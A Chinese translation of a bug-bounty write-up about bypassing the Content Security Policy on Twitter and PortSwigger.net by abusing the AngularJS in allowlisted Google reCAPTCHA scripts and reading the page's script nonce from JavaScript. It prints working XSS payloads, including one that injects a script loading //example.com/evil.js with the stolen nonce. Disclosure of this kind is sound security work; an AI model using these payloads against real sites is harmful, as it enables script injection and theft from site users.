背景介绍
Portswigger 前不久在 HackerOne 上披露一份漏洞报告(https://hackerone.com/reports/2279346),虽然是CSP的绕过漏洞,但有几个背景信息需要先交待一下:
- 该报告中CSP绕过是基于特定程序的
- 你需要充分了解你的目标, 然后尝试威胁建模
- 创造性思维,经常阅读博客、时事资讯,更加深入的了解你的目标
推特挑战
前不久有这样一条推文:
敲黑板:CSP 的工作原理是限制加载文档内容所使用的某些访问模式,具体做法是声明一系列策略指令(通过 CSP 标头或meta
标记),该列表由指令名称和该指令允许的源列表组成。
对于 XSS,最有趣的指令是 script-src
,因为它描述了如何允许文档加载 JavaScript,设置 script-src
指令的两种常见方法是通过白名单方法或使用基于nonce
的方法,在 CSP 中指定 nonce
时,页面上的任何脚本都将被允许加载,但前提是该脚本标记使用相同的 nonce
值进行修饰。
<script src="" nonce="ABC"></script>
这通常是普遍做法,因为攻击者无法使用正确的 nonce
注入脚本标记( nonce
应该是为每个页面加载生成的长随机值)。
如果站点使用 URL 白名单,则该页面将面临以下风险:这些 URL 中的任何一个都可能托管有危险的库,攻击者可以滥用这些库来升级为完整的 XSS, Angular JS 就是经常导致 CSP 绕过的一个库,当然还有大量其他可能被滥用的脚本源。
CSP 的一个功能在实现时和试图寻找绕过时往往会让人感到困惑,那就是 nonce
与关键字 strict-dynamic
指令中声明,这种组合将允许任何具有 nonce
属性的脚本将其他脚本元素注入 DOM 并执行它们,即使这些新脚本标记缺少声明的 nonce
值, nonce
和 strict-dynamic
的这种组合还会使页面忽略 script-src
指令中任何其他列入白名单的 URL。
使用受信任的脚本将不受信任的脚本添加到页面是绕过 CSP 的常见方法。
具体可参阅此处的示例,其中 jQuery 会生成一个脚本标签并将其添加到页面中,由于加载的 jQuery 脚本具有有效的 nonce,因此可以在 DOM 中添加新的脚本标签,而无需 nonce 值。
使用Angular JS 和 nonce 绕过推特 CSP
回到上面那条推文,网友 @sudi 提出了一个来自 Google CTF 的有趣建议,其中解决方案包括使用 Google 的一个域作为漏洞, @huli 的这篇文章很值得一读,主要启示就是,Google Recaptcha 服务是无边界的 Angular JS,是经典的 CSP 破坏者。
让我们使用 https://csp-evaluator.withgoogle.com/ 看一下 Twitter CSP 的 script-src
部分:
正如所看到的,有一个 nonce
但没有 strict-dynamic
关键字,这意味着白名单中的任何 URL 都可以作为脚本源,该列表可能托管包含多个危险代码片段的URL,但我们感兴趣的是 https://www.google.com/recaptcha/
如果想要了解和使用 https://www.google-analytics.com
,可移步 @renniepak 的相关推文。
因此利用上面所说就可以注入Payloads 进行弹窗:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
问题在于,即使能够弹窗也无法证明任意代码执行,在 Twitter 的 CSP 下如果将 alert
替换为 eval
会抛出如下错误:
EvalError: Refused to evaluate a string as JavaScript because ‘unsafe-eval’ is not an allowed source of script
CSP script-src
指令不包含值 unsafe-eval
,因此无法使用 eval
或 setTimeout
执行字符串,作为攻击者,我们需要找到一种方法将受限 XSS 升级为成熟的 XSS,以执行我们想要的任何操作。让我们重新回到 CSP 理论。
从 JavaScript 访问脚本nonce
关于 CSP 的一个常见误解是,nonce
值会在 DOM 加载后隐藏起来,这只是部分事实,在加载了用 nonce
修饰的脚本页面后,使用 “开发工具” 查看 DOM,会发现脚本标记上没有 nonce
值,只有一个空的 nonce
属性,不过,这并不意味着 nonce
值已被删除;它只是从 CSS 等 “侧信道 “中隐藏了起来,该值仍可从 JavaScript 中获取。
HTML 规范对此进行了描述,在 JavaScript 中,我们只需要使用常规 node.nonce
就可以访问 DOM 节点的 nonce
属性,要查找当前页面 nonce
的任何节点,我们可以这样做:
const nonce = document.querySelector("[nonce]").nonce;
当有了 nonce
时,就可以创建有效的 script
标签并根据需要将它们添加到 DOM 中。
使用这种技术,可以通过使用有效的 nonce
导入具有我们想要的任何源的新脚本,将之前的 Angular JS 注入升级为任意 XSS!
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
以上PoC确实验证了推特上可以作为完整的CSP绕过。
绕过Portswigger.net的CSP
访问 portswigger.net 查看 CSP时, CSP 有一个包含 https://www.google.com/recaptcha
和 https://www.gstatic.com/recaptcha
的白名单,它们都托管包含 Angular JS 的 about/js/main.min.js
文件, CSP 还配置了 nonce
,但缺少 strict-dynamic
关键字,就和上面推特的设置完全一样。
这就意味着可以使用与推特上相同的Payloads来绕过 PortSwigger.net 上的 CSP,唯一的问题是没有 HTML 注入来绑定旁路。
但即便如此,按照CSP绕过问题向 PortSwigger.net 提交了漏洞报告,他们最终接受了这份报告。(因为在这之前一位名叫Gareth Hayes的白帽子就曾在 PortSwigger.net 主域上发现过CSP绕过,并因此写了一篇博文)
在初步修复后,安全人员还指出由于缺少 form-action
指令,可能会导致凭据泄漏问题,PortSwigger.net 也决定顺便修复该问题,针对 CSP 绕过给予了安全人员 1000 美元的奖励,针对 form-action
问题另外授予了 500 美元的奖励。
本文作者:Johan Carlsson
以上内容由骨哥翻译并整理,希望对你有所帮助。